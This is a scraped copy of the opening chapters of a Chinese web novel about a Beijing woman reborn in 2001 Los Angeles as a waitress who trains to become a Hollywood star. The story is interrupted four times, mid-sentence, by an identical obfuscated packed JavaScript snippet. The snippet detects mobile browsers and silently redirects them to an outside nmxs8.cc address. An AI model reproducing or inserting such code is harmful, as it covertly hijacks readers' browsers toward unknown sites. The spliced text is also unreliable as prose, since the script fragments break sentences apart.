《制霸好莱坞》 1. 女招待 “现在是10点44分。”珍妮.简说,她坐入办公桌对面的会客椅,双腿交叠,一手优雅地搁上扶手,“距离12点30分还有1小时47分钟。维杰里先生,很高兴认识你。” 她压低声音,交换了双腿的位置,唇边微露出从容笑意,紧盯切萨雷.维杰里,几乎是嘲笑般地说,“现在,你有1小时47分钟来说服我,让我相信你是个很好的经纪人。” 切萨雷的态度纹丝不动,依然那样冰冷,仅仅是鼻尖起了轻微的波纹,眼神也有几不可见的闪动。然而珍妮知道,她已经成功地燃起了他的兴趣。 “很好。”切萨雷说,“你已经成功地吸引了我的注意力,加分。” 他抽出一个空白文件夹,啪地打开,端出冷冰冰的礼数,象征性地征询,“现在,可以正式开始了吗?” # 三个半月以前洛杉矶 珍妮.简——陈贞望着镜子里的自己,一动不动,表情严肃。 这是一张很漂亮的脸。 珍妮.简今年二十岁,正处在一个女人一生最美的年龄段中,和遥远东方的同龄人不同,她从七年级(初中一年级)开始就学会了化妆,六七年的练习,已经足够让她为自己的外貌做出许多妆点,达到锦上添花的效果,更不必说,即使没有化妆,珍妮.简也依然算是个美女。 她的长相带了强烈的日耳曼痕迹,是典型的金发碧眼儿,鼻梁高挺,眼神深邃,五官立体,双眼明亮翠绿,配合又长又直的金发,可谓是赏心悦目,再加上她拥有五英尺六英寸(1米67)的标准身高,以及按白人标准来说绝对不胖的标准身材,珍妮.简在大街上的回头率绝对不低,即使想要进入一些区域性热门夜店,也可以享用美女特权,免于排队。 以常理而论,她实在没有理由露出这么严肃的表情,对于她这样的美女来说,生活无论如何也不会是一件没有乐趣的事。 但她现在看来的确很不高兴,不论是紧抿的唇角还是绷紧的肩线,都表明了她的心情,珍妮.简,或者说是陈贞,现在正处于重压之下。 她倒也不算无病呻吟。 她穿越了,2014-2001年,北京-洛杉矶,黄种人-白种人。 现在是西元2001年,电脑刚刚普及,网络正在改变人们的生活,大哥大渐渐被小巧玲珑的手机取代,但斯蒂夫.乔布斯还没有推出革命性的Iphone,甚至连改变时代的Ipod都还没有发售,要到几个月后才会正式面世,来自2014年的陈贞,对于21世纪初期的生活已有些不习惯,这是个没有微博、推特和脸书的时代,主流通信工具是ICQ和MSN——对于日新月异的科技世界来说,这些名字都已经垂垂老矣,如果不是穿越重生回了21世纪初期的美国,陈贞甚至都不会记起这些名词,也不会发现她的生活被这些科技改变了多少,21世纪初期的生活又有多么的不方便。 当然,这不是她现在最大的麻烦。 最大的麻烦就是她在北京家中睡下去的,可醒来的时候就已经回到13年前,重生到了这么个白种美女的身上,并且拥有了她的全部记忆。 珍妮.简.杰弗森,1981年出生,社保号422-11-6742,来自阿拉巴马州的底层家庭,父亲是抢劫重犯,被判刑一百多年,从珍妮.简六岁时起就进入监狱服刑,母亲离家出走,从未和家庭联系,珍妮.简在祖母去世后就进入社会福利机构,在多个寄养家庭中辗转长大。两年前完成高中学业,来到洛杉矶工作,想要寻找机会成为演员,但未成功,目前在餐馆做女招待。 她的回忆提炼出来大概就这么几句话,其余拉拉杂杂什么个人喜好社交关系,都被陈贞毫不客气地当作无用信息过滤掉了——总的说来,和中国娱乐圈的北漂一样,珍妮.简就是个很常见的好莱坞漂,想要凭借自己美貌的外表和青春的肉/体,在好莱坞找到自己的一席之地。 而现在被困在珍妮.简身体里的陈贞,她的资料如下: 陈贞,1982年出生,身份证号从略,来自杭州的小康家庭,父母都是公务员,高考考入北京电影学院表演系,在校期间和大她五岁的富商之子恋爱,毕业后结婚生子,穿越时小孩已经八岁,正在和丈夫闹离婚,由于公婆已经陆续放权,公司由丈夫继承,还有几处房产在她名下,预计含不动产可以分到三千万以上的身家。 二者的人生在这个时间点上也许还没有太多不同,但在十多年后,珍妮.简很可能沦为一无所有的社会底层,而陈贞却会是衣食无忧的单身富婆,一下从陈贞成为珍妮.简,这落差当然很大。如果自杀一次可以回到原来的身体,她现在早就站在楼顶上了。 回去 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274115|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 原来的身体——这是珍妮.简,或者说现在的陈贞最迫切的需求。 她之所以没有尝试,是因为她知道自杀也回去不了。 因为她不是白白重生,她重生是带着任务重生的。 制霸好莱坞。 就是这么模糊的五个字,当她在珍妮.简的身体里睁眼醒来的时候,陈贞就已经自然而然地知道这一点:当她制霸好莱坞的那一天到来时,她就可以自由选择要不要回去。 且先不说制霸好莱坞的难度,陈贞回过神来后立刻就发现了逻辑上的冲突——如果有一天她真的制霸好莱坞,那不就成了人生赢家了?都到那一步了她还回去干嘛? 紧跟着的疑问就是如果她现在在这里,那么同一时间杭州是不是还生活了一个陈贞,如果她们两人相遇的话又会如何?珍妮.简不在自己的身体里,是去了哪里,去了现在陈贞的身体里面吗? 当然,现在她也无从验证,第一她一想到这个问题就会物理性头疼,第二即使她可以忍着头疼,也没钱买飞往北京的机票,更不说她这一穷二白的身份很可能根本办不下中国签证了。 珍妮.简高中毕业,文化水平非常一般,SAT只考了一半不到的分数,即使有大学上也没学费,从那样的野鸡大学毕业出来也很难找到什么高级工作,很可能还不如咖啡店女招待赚得多。 陈贞本人表演系学生,大学毕业就嫁人做富家少奶奶,技能点全加在绑住老公心外加给自己攒私房上了,工作能力约等于零。 拥有了两人记忆和陈贞人格的——还是叫她珍妮.简吧,现在要考虑的不是去中国找‘陈贞’,而是起码也得出人头地,活得像个人样。当然,在大规划中她还要姑且试试看能否制霸好莱坞,争取回到原来的生活里……虽然她还是很怀疑自己如果真能走到制霸好莱坞那一步,又何必还要回去。 在餐厅服务两天以后,珍妮.简摆脱贫困的心思非常强烈,她恨不得现在马上谈下片约,开始自己的演艺生涯——不论演员有多苦多累,起码都要比在餐厅一站就是十二个小时强点。 改变命运的需求迫在眉睫,时刻不容缓。珍妮.简告诉镜中的自己,她深吸了一口气,然后看了看表,转身走出去开始值班:她的午休时间已经结束,下午班开始了。 是的,现在的她,不过是个餐厅女招待而已。 2. 减肥狂 “珍妮,今天给你特别款待。”约瑟夫在吧台后对珍妮眨了眨眼睛,“咖啡一杯,点心一份,店里请。” “谢了,约翰,”珍妮的轮班已经结束,经过八小时的站立,她的腿一阵阵的酸疼,“一杯美式不加糖奶,一份海鸥沙拉不要油醋汁,谢谢。” 约瑟夫好奇地看了她几眼,“你是在节食吗?珍,恕我看不出这有什么必要。” 珍妮笑了笑,并没有解释什么,而是从约瑟夫手里接过打包好的餐点,冲他挥了挥手。“明天见。” “明天见。”约瑟夫好脾气地也挥了挥手,“对自己好一点,珍。” 珍妮走出餐馆,弯腰解下自行车,跳上它往自己的住所骑去。 她的住处距离餐馆并不是很远,并且很好运的没有上下坡,在山路蜿蜒的洛杉矶这可十分难得。陈贞醒来后第一天上班就发现了这一点,她立刻花费自己一天的工资上旧货市场买了一辆自行车。 骑行二十分钟以后,她回到了自己的租处——在一间没有电梯,房龄约二十年的中年公寓里,一间一室一厅的小房子。 由于美国的人工较贵,白领和蓝领收入相差不大,珍妮在餐馆做服务员,一天底薪是八十美金,她所在的餐馆因为兼卖花式咖啡,生意不错,如果连上两个轮班可以拿到两百多美元一天,但比较辛苦,一天单上一个轮班的话,连小费也可以拿到一百三十美元左右,一个月收入约四千美元,而这间五十平方的小房子是租金管制公寓,虽然地段靠近比弗利山庄,但房租一个月只需要六百美元,也算是从前的珍妮留给陈贞的遗产了。 餐馆包一顿饭,如果像珍妮一样人美笑甜,具有招徕生意的作用,老板约瑟夫就会更大方,经常会包两餐,或者给她多打包一份,算下来珍妮其实并不需要在饮食上多花什么钱,甚至连美国人最爱的咖啡热狗餐馆都可以免费提供,一个月的收入扣除房租就没有什么花销了。 以洛杉矶的物价来说,平时买买水果和衣服、化妆品什么的,一个月存下两千美元也是轻轻松松的事。——不过珍妮.简显然和大部分美国人一样,没有储蓄意识,尤其作为美貌而又有心进入演艺圈的好莱坞漂,她更是不可能为将来考虑,从小处抠钱来省。陈贞只庆幸她起码还没欠卡债,这在她这个年龄的美国女孩里,这已经算是难得的了。 当然,珍妮.简也不是没给她留下什么‘遗产’,她把大部分工资都用来购买衣服鞋子,这一室一厅的小房子里,客厅就是衣帽间(珍妮起码有上百双鞋),余下一部分工资则拿来购买演艺课程,陈贞鸠占鹊巢时,她还有一个社区大学的表演课程没有上完。至于别的花费那就基本没有了,她虽然喜欢和朋友们去夜店玩乐,但作为美女却自有特权,大家都懂。 不能不说,珍妮.简其实也算是个不可多得的上进女孩了,虽然怀抱了不切实际的成名梦想,但总算是认真生活,为了实现梦想点滴积累。如果她同时还具有一定的天赋,以及可以中大奖的运气的话,也许将来会在好莱坞占有一席之地,不过现在,原本的她已经不知去了何处,为她实现这成名梦想的人,只能是陈贞了。 陈贞一回到家里就换上了运动装,她先在屋里来回走动,把清扫房间等杂务快速完成,由于速度快,再简单做了点热身,浑身就开始发热了,她打开新购置的电脑,点开Winamp,便顺着火热的音乐跳起了拉丁舞。 跳完一个小时的拉丁舞,再做十五分钟的拉伸放松,她的身体大概也到达极限,陈贞栽倒在地上,小睡了大约二十分钟,直到被凉风吹醒,这才爬起身去冲澡洗头,然后开始自己忙碌的保养晚常规。 其实约瑟夫说得对,她的身材可以说是十分匀称健美,作为五英尺七英寸身高,胸围有D的女性,珍妮一般穿4号(S)衣服,在白人中这已经是十分难得了。她大可以不必如此着急忙慌地运动减肥,只要平时不刻意大吃大喝,按每天八小时的站立,就足以保持身材了。 但这是对普通人来说,而不论是女演员、女歌手或者是女模特也好,只要和娱乐圈沾边,和镜头沾边,普通健美就永远都不足够。 由于现代电影电视采用的放送比例,以及三维二维的转换原因,‘上镜胖十斤’并不是胖子用来安慰自己的俗语,而是真实存在的现象,并且很有可能上镜后的视觉效果不止胖十斤——因为人眼看出去是三维的,阴影和深浅轮廓都会被处理,但是电影电视图像却是二维的,这就等于是把一个人拍扁,当然脸和身材都会变得比以前更胖。所以,要达到上镜正常人的效果,在生活中脸就一定要比正常人小,这在表演学院是常识级存在,也所以越是天生圆脸或是脸型不深刻的演艺人员就越是要逼迫自己减肥,倒是天生五官深刻而有层次感的幸运儿付出的努力可以较少,但这也并不意味着他们就能大吃大喝。凡是还对演艺事业有点野心,不想演胖子的从业人员,几乎永远都不可能有吃饱的一天,区别程度只在于该怎么饿自 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274116|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 己而已。 当然,这也有代价,上镜正常人又或者是上镜偏瘦的演员,在现实中脸小得可怕不说,基本就是个没有肉的衣架子,反而多数都有过瘦的问题在,且不说健康隐患了,就只是谈恋爱都有障碍,毕竟大部分正常人还是希望和正常人在一起的,最起码,长相上是如此…… 陈贞是幸运的,上辈子读书的时候凑热闹减了四年肥,因为有男友,而且对方喜欢女朋友稍微有点小肉,所以也没怎么饿着自己。毕业后就顺理成章地结婚做豪门少奶去了,虽然也琢磨着保持身材,但是这个力度和圈内人终究是不可同日而语。至于这辈子,珍妮.简应该是纯正的日耳曼血统,这种血统五官深邃,轮廓如雕刻般明显,劣势是中年显老,但优势就是上镜极有层次感,自带阴影效果,十分显瘦。 老,是可以用化妆弥补的,但胖却不能够,在上镜这一点上,不得不承认,白种人就是有人种优势,再加上西方审美并不狂热追求纤瘦,所以她不必像中国同行一般,一个个致力于把自己往白骨精、火柴棍方向去整和饿,只需要通过大量运动甩掉多余的脂肪,把身材维持在较正常人瘦一号的标准就合格了。 ——也就是说她的短期目标是穿上2号衣服。 她没有体力多跑一次健身房,也没钱请私人教练,不过还好前世做富太太的时候为了维持身材,一直都有定时锻炼的习惯,出于个人爱好还跳了多年的拉丁舞,所以可以在自己屋里锻炼。至于不吃晚饭,戒绝糖奶以及对油醋汁说不,这都是减肥的题中应有之义,几乎是陈贞的本能了,即使是前世她也没有怎么吃过这几样东西。 八小时的轮班,来回骑车上班要40分钟,回来运动一个半小时,陈贞的身体几乎也到极限了,洗过澡稍微看了下新闻也就昏睡了过去,第二天早上六点,闹铃一响,她又准时起床,喝水、晨跑一小时,回来洗过澡,这才坐下来吃她一天中最重要的一顿饭。 把昨天打包的沙拉取出来,又煮了两个鸡蛋,为自己加了一片白灼鸡胸肉,外加一大杯牛奶,把这丰盛的餐点一扫而空以后,她的胃总算开始有饱足感了。陈贞感觉这白人的身体就是抗造,这样高强度的运动以后,起来一吃过饭就又是活力无限。 吃过早饭,距离上班还有一个半小时,她也没闲着,而是在客厅里拗了个瑜伽姿势坐着,把闹钟调好,深吸了一口气,启动了自己的金手指。 金手指一动,陈贞顿时跌入了一片黑暗之中。 3. 金手指 前世的陈贞,可以说是游手好闲无所事事,闲暇时间看了不少网络小说,对于金手指当然是耳熟能详。当然,那时的她做梦也没想到这样的事会发生在自己身上,作为读者,还经常嫌弃作者给主角开的金手指太大,导致主角太强大,让整篇文都少了不少的乐趣。 现在她当然不会嫌金手指太大了,怎么也得开个金钱无限啊,要是这神秘力量够大胆的话,来个跨时空贸易的话陈贞都不会嫌少,这要是有个系统那就更美了,随着一步步靠近目标,更多功能陆续解封…… 很可惜,她的金手指和许许多多书中人物相比,简直是寒酸到了极点,基本上也就只有一个功能。 发动它的条件很简单,闭目凝思就可以了,陈贞给它起名为‘演艺空间’,只要在心中动念要进入其中,下一刻她就会发现自己处在一个一片漆黑的空间之中,眼前有许许多多DVD碟片在上下飞舞,她随着心意随手就能选中。 这些碟片并非应有尽有,陈贞并没拥有未来十年二十年的全球片库,大部分碟片来自她看过的电影电视剧,以及舞台剧等等,小部分则来自她久闻大名却一直没有欣赏的,总之整个片库里并不会出现她没看过也毫无印象的片子,还是以她的记忆为主。 陈贞的金手指作用一:尽情重看老片。 伸手乱划了一通,陈贞随手选中了1998年上映的经典大片《泰坦尼克号》,她眼前顿时出现了一张IMAX尺寸的大屏幕,空间直接跳过了片头的制片公司信息,开始从头播放这部经典大制作。 空间的时间流速和外界时空比大约是3比1,也就是说陈贞有4、5个小时的时间可以从容欣赏这部片子,但她没有从头全看,而是直接拉到了露丝和杰克在海水中载浮载沉的一幕,把感人肺腑的告白重看了一遍。 而后念叨了一句,“开始模拟。” 哗啦一声,陈贞顿时落入水中。 沉重的亨利华时代服饰泡水后变得更为累赘,虽然水温不低,但巨大的摄影棚必须要有鼓风机帮助空气流通,一阵风吹来,她依然冻得瑟瑟发抖,趴在木板上连爬起身的力气都没有。 “很冷吧?”年轻的李斯——小李子趴在木板边缘和她搭话,他英俊非凡的容貌距离陈贞只有十几公分。“妈的,我也快冻死了。还好詹姆最终决定让我们在温水里拍摄,不然我们非得得上肺炎不可。” 在他们身边是一大群演员,一个个都在温水中载浮载沉,大大小小七八个摄像机对着这个大水池,水池边的滑轨,底部的水下摄像机还有水池外来回走动的工作人员,生动——或者按陈贞疑心的,百分百地还原了泰坦尼克号的拍摄现场,远处甚至还能看到‘世界之王’杰拉德米.坎贝尔和另一名男子神色凝重地在讨论着什么。 这就是金手指作用二:重现拍摄现场。 陈贞在这里取代的当然是凯特金娜温斯莱特的位置,她对李斯匆匆一笑,但并没回答什么,远处就已经传来了一声响亮的,“注意,第293场第6幕,第2次拍摄,Action!” “我很冷,”她催促自己快速入戏,流着眼泪念着对白,“我很冷,杰克。” “听我说,露丝。”李斯的演技和电影中如出一辙,“你一定会脱险的……” 一段五分钟的对白戏很快就拍完了,导演没有喊‘Cut’,等陈贞设定的时间一到,她又回到了演艺空间,空间里已经出现了一张沙发和一些基本的家具,她在沙发上坐了下来,重放自己刚才出演的片段。 大屏幕上又出现了经典的一幕,但露丝的脸已经换成了陈贞。 金手指作用三:将拍摄场景制作成片。 这并不是简单的重看原始录像那么简单,而是完成了剪辑、后期特效、配音以及修片的最终成品,和公映版本没有任何差别,换句话说,陈贞看到的就是‘假如珍妮.简出演泰坦尼克号’这个版本的影片,如果她愿意,她可以从头到尾演完这部片子,然后欣赏一遍公映版本。 珍妮.简是日耳曼美女,而且此时的身材要比有‘肥温’之称的凯特金娜.温斯莱特更窈窕(当然这个外号并不公平,出演泰坦尼克号时卫斯理的身材实际上相当标准,只是‘上镜胖十斤’),出镜效果更美,但陈贞看着自己的演出,眉毛却是聚拢了起来。 “表演浮夸僵硬,不自然,台词功底还是很差。”她挑剔着自己的表现,“不及格吧。” 当然这也是很正常的事,没有人能一上来就演大片女主角,对于大部分演员来说,这是一种揠苗助长式的安排,虽然也有些天赋异禀的奇才可以大放异彩,籍此一飞冲天,但说到底演员也就是个技术工种,必须经过一定的练习,达到熟练程度,才能晋级职称。没有足够的锻炼,那就是穿上龙袍也不像太子。 陈贞这表现还算是可以了,她前世也就读了四年表演学院,期间有一定的锻炼,但是毕业后直接就荒废了十年根本没考虑演戏的事,如今恢复练习也就差不多不到一个月,现在只是演技差而已,好歹女主的气场还在,悲情的气氛也还是有的,要是换个路人上去,估计直接能演个搞笑片出来,连词都跑不完。 重看了两遍成片,陈贞看不下去了,遥控器一扔,说了声,“模拟场景”,又回到了泰坦尼克号拍摄现场,小李子又对她笑,“很冷吧?” “随便啦。”没好气地回了一句,她就低头自己酝酿去了,反正不论重复模拟多少次,她如何反应,小李子也就这几句对白。 这一回,听到熟悉的‘Action’时,陈贞又念叨了一声,“记忆注入。” 轰的一声,她脑际立刻出现了许多模糊而复杂的回忆,仿佛瞬间在梦中重现了露丝的一生,家道中落的少年,压抑而紧张的成长环境,母亲对于钱财势力的关心,还有她和杰克之间仿佛花火般绚烂的恋爱…… 她好冷,她止不住颤抖,因为寒冷也因为恐惧,她用尽力气注视着她的爱人,“哦杰克,杰克,我好冷……” “听我说,露丝。”李斯握住了她的手,他的眼睛还闪着光,“你一定会脱险的……” 金手指作用四:模拟角色记忆情感。——在陈贞看来,这也是金手指最核心的功能。 演员的表演风格流派可以粗略地分为‘体验派’和‘表现派’,到底哪个派别更为优秀这绝无定论,不论黑猫白猫,抓到耗子都是好猫。不过学院教的多数都是表现派技巧,因为体验派对于天赋要求较高,并不是可以通过言传身教进行传授的。而这个金手指就可以让她完全彻底地进入角色,把角色本身在场景中的情感自然地体现出来,也就是说,它可以让陈 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274117|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 贞变身为世界上最纯正、最为能放能收的体验派演员。——当然了,在演艺空间,全世界本来也就只有她一个人。 她试过在现实中唤出这个金手指,没有获得成功,陈贞不可能这边看着剧本,那边就模拟出角色记忆和感情来,但这个金手指,也不是没法影响现实,她在演艺空间模拟,然后回到现实的话,情感痕迹还是会留在心中,过上一会儿才渐渐淡去,也就是说,只要经过适当的选片,比如说演一些前世她看过的片子,她还是可以运用体验派的方法来表演大部分场景,这也是陈贞用来尝试所谓‘制霸好莱坞’的最强筹码。否则她压根都不会往这个方向努力,只会立刻把自己拾掇得更美丽,想方设法攒点钱去进修个大学课程,就读期间努力钓个法学院的未来金龟婿嫁了,不然的话出来还能谋点别的工作。 到目前为止,她就只发掘了演艺空间的这四个功能,这些功能全都是围绕一点出发的——让她演好戏。所以对陈贞来说,她的金手指也就是只开在了演技方面,而且限制还特别多。 重看了一遍加入感情后的演出,她对自己还是不够满意——即使不是导演她也能感觉得出来,加入感情后的演出,有点太‘放’了。和李斯的表演有些格格不入,如果说之前是太放不开,没法投入感情的话,这一次就是感情太满溢,导致李斯和她的节奏出现了错位。 所以说,这第四个作用虽然核心,但还是不能一蹴而就地把陈贞变成体验派高手,纯正是一回事,出色就又是一回事了。 又重新尝试了四次,这个关键场景的表现终于能让陈贞自己满意了,她挥挥手,启动了作用三和作用一的结合,“对比播放。” 屏幕上出现两格画面,分别是原版的卫斯理和空间版的珍妮.简,两人说着一样的台词,“哦,杰克……” 《泰坦尼克号》虽然是传世大片,但对于男女主角的演技要求并不高,换句话说就是不用演技扛票房,只要中等偏上就可以了,所以陈贞自认为珍妮.简的表演已经可以和卫斯理的表现媲美了。——虽然这位是影后级人物,但她在《泰坦尼克号》的表现最高也就是这么高,因为影片并没有给她预留出展露演技的空间。 ……不过,她仍然是感觉到珍妮版本蕴含着的一丝淡淡的不协调,就是这一丝不协调让她情不自禁地觉得还是原版更为自然,更为优秀。 问题出在哪呢? 陈贞反复看了三四遍对比以后,终于下了结论:问题就出在血统和气质上了。 珍妮.简是日耳曼美女,但凯特金娜.温斯莱特却是英伦玫瑰,在露丝这个英国贵族的角色上,后者天然就拥有更高的契合度,她那一口纯正的贵族英语,以及本身就带了几分古典韵味的气质,都是画龙点睛般地给露丝增添了许多魅力。但珍妮.简虽然也经过出色化妆,可本人来自美国,自然有一种美国大妞特有的都市气质,从根本来说,和露丝这个角色却是有些格格不入的。 纵有金手指,也无法突破自身局限性……陈贞不禁仰天长叹:想要在演艺圈闯出自己的一片天,何其难也? 陈贞在演艺空间里也能听到外界的声音,如电话和手机铃声之类,又回顾了几遍自己的表演,听到闹钟响起,她就从演艺空间中退出,灌下昨晚的特浓冰咖啡,收拾收拾,骑车上班去了。 4. 戴夫 珍妮.简工作的这间餐馆名叫‘好莱坞之星’,可想而知距离好莱坞有多近,虽然这里档次太低,有大明星过来吃饭的机会几乎趋近于零,但胜在开张时间久,食物也不错,餐馆墙壁上到底也悬挂了几张名人照片。陈贞相信珍妮.简选择这里工作,多少也有一些近水楼台先得月的考虑。 至于她,在穿越后还留在这里,完全是因为这家店的工资还算不错,虽然一个月内也遇到了两个自称星探和她搭讪的人,但陈贞对此都是兴趣缺缺,作为曾在电影学院上学,毕业后也和许多同学保持联系的圈内人,她深刻地知道几乎所有‘在街头被星探发掘’的故事都是炒作。 也许在电影这门行业刚开始,人们还没有意识到成为影星能带来多少好处的时候,制片公司的确派出星探在街头巷尾发掘有天赋的年轻男女,但在2001年的现在?就连A.V女星之间都存在激烈的竞争,起码电影这一行已经不需要星探了,反倒是唱片公司旗下还会有些厂牌在发掘新血,当然广告业和模特业也还维持了传统的‘星探’制度。但这种正规星探留的都是公司的固定号码,也会给名片,在餐馆和她搭讪的这种所谓星探,说穿了无非就是想要骗.炮而已,更深一步的话,还想着骗钱也有可能。 这样的骗局虽然老套到二十世纪二十年代就有出现——即将在这两年的电影《底特律》中,女主角洛克希就毫不怀疑地被自称是制片人亲戚的推销员给骗了色,但时至今日依然是长盛不衰,在洛杉矶有太多自命不凡又满怀希望的男男女女,怀抱着明星梦在餐馆打工等待机会的绝非珍妮.简一个,事实上,好莱坞之星的另一个当家女招待也和她一样有心往演艺圈发展,不过她的目标更切实一些,想要先进入广告界,从广告模特做起,再争取电视剧中的角色。 这是个不错的想法,但对陈贞来说毫无意义,原因也很简单——她没这么多时间了。 她是2014年穿越的,现在是2001年,满打满算也只有给她14年的时间,14年以后,她的一大优势便会消失,那就是她已经不知道什么片子会红,什么片子会扑街,为了不浪费这种先知优势,她不可能从电视剧做起再转大屏幕,毕竟几乎没有从电视剧出身的女演员在好莱坞称王称霸的先例,一部成功美剧如《老友记》,动辄就是七八年的拍摄周期,而且会把演员在观众心目中的形象定性,这对于演员本身来说是非常不利的,更别说从电视剧圈往电影圈转有多艰难了。 当然也没人靠当广告模特,当模特,拍A.V,拍真人秀,唱歌等等称霸好莱坞。 想要在好莱坞称霸,唯一的路就是演电影,她只能从电影起步,才有那么一丝微弱的希望在14年内起码把这任务完成个70%到80%。至于怎么登顶……这个事情陈贞自己都没想过,她连该如何量化这个目标都不知道。 即使只是眼前这‘演电影’的短期目标,都已经足够她喝一壶的了。 珍妮.简服务了几位客人,用甜甜的笑容从他们手中得到了丰厚的小费,看看她负责的区域里大部分客人都在进食,她便暂且走到整理柜附近,靠着柜子休息一下酸疼的双腿,又开始机械地分析着自己接下来的路该怎么走。 要成为演员,当然要找个经纪人,经纪人掌握着试镜渠道,知道各种各样的试镜消息,能为她发出试镜申请,联系各种演出机会。如果她是经纪人看好的对象,愿意大费唇舌多方推荐,她甚至会在试镜中得到重点照顾……不过问题就是越有能力的经纪人对客户就越挑剔,以她现在这个层次,能找到的经纪人顶天了可以接到电视剧配角,这都还得是她特别走运,被经纪人看好的结果,如果不被看好的话直接就给介绍各种模特又或者是电视剧中的龙套为起步了。 不是陈贞太挑剔,而是在演艺圈,第一部作品是相当重要的,哪怕是演永远也不会上映的独立电影,只要你是演电影的,那么下一部戏还接到电影的几率就比较大,几部戏下来,便可以试着接演小制作的配角,然后是小制作的主角或大制作配角,最终到达大制作主角。——除非星运极强,遇到贵人直接跳过几步,否则大部分好莱坞的影帝影后也都是这么一步步摸爬滚打上来的。 然后这个怪圈又回来了:想要接到电影试镜,就得找好一些的经纪人,而好一些的经纪人对于客户的要求又高。她现在的资历又完全不足够引起别人的注意力,就是想要靠金手指来秀演技都得不到这个机会。 就像是演员工会的怪圈一样——演员公会提供许多福利,譬如保险和最低工资谈判,以及演出机会介绍,经纪人介绍等等,想要加入演员工会,需要一份金额较高的表演合同,但如果不加入演员工会又很难得到一份报酬较高的表演合同。 对于没有相关背景人脉的圈外人来说,演艺圈是很封闭的,想要打入圈内,难度极高。 当然这也很正常,要都这么容易,圈内早就人满为患了,越是高回报的圈子门槛就越高,电影圈作为演艺圈的顶层尤其如此,假使珍妮.简现在愿意做模特的话,那又简单得多了,直接拍几张照片满世界寄简历,总是有杂志会要她的。 餐馆在中午12点迎来了一波用餐小高峰,珍妮.简捧着餐盘,挂着营业性的笑容,收割了一圈小费,在上菜结账的空隙中还在计算着自己的路该怎么走。她的金手指只是加在了演技方面,而且由现在来看也不是一下点到奇才的程度,想要进入演艺圈,抱歉,实在做不到胸有成竹。 实在不行就不回去算了……从模特做起往电视剧方面转,靠着金手指也不是不能混饭吃。儿子那边,虽然是她回去的动力之源,但客观地说前夫对这个宝贝疙瘩还是挺疼爱的,有他爷爷奶奶在,金钱和关爱都不可能太亏待。 当然,这只是最后的最后,实在没有办法拿来安慰自己的话,如果可以的话,陈贞当然还是想要尽快登顶,尽快回去。但现在她也没有太好的办法来破局,只能先把身材锻炼到适合上镜的程度,再等待着合适的机会。 如果不行的话,就从社区剧院开始好了,舞台剧的竞争虽然也很激烈,但因为报酬相对较低,门槛也比较低,先在社区剧院内获得小角色,再往大剧院中寻找配角,不一定需要主角,配角的曝光率已经足以让她结交一些朋友了…… 等到午餐时段结束以后,珍妮.简也迎来了自己的午休时间,但并不会很长,因为整个下午都还会有客人进来喝咖啡,用些小点心。她可以在吧台后坐着休息,但时不时也需要出来服务一下顾客。 午餐她吃的还是鸡肉沙拉,一样远离油醋汁和沙拉酱,很多想减肥的女性自以为吃了沙拉就是节食,但她们不清楚油醋汁和沙拉酱的热量其实不比一大块红肉少多少,珍妮.简既然决定要减肥,就不会让自己受的苦白费。 不但如此,她现在还在有意地控制自己的口味,戒绝了一切甜味饮料——由于在美国,玉米糖浆非常便宜的关系,饮料加糖十分凶狠,而且喝饮料含钠,喝下去盐分摄入一不留心就会超标。所以常喝甜味饮料的人身体健康非常容易失衡,在美国更是有许多身处‘食物荒漠’的底层人民,因为无知和贪小 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15274118|166666||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 便宜心理,大量购买比水还便宜的甜味饮料,最后胖得不成人形,连行动都成困难,然后还会有三高问题。 当然,中产阶级可以明白摄入甜味饮料的不利之处,但是多年来形成的饮食习惯以及体质,都使得他们易胖难瘦,在这种饮食环境里,想要维持身材,所过的无异于是苦行僧一般的生活。 起码约瑟夫看到珍妮.简的食谱就总是大摇其头,“这样极限的减肥法会让你昏倒的,珍,你是怎么了,以前你每天都来一块我的魔鬼蛋糕,直说这是你活下去的意义,可现在别说蛋糕了,你连汉堡都不吃。” 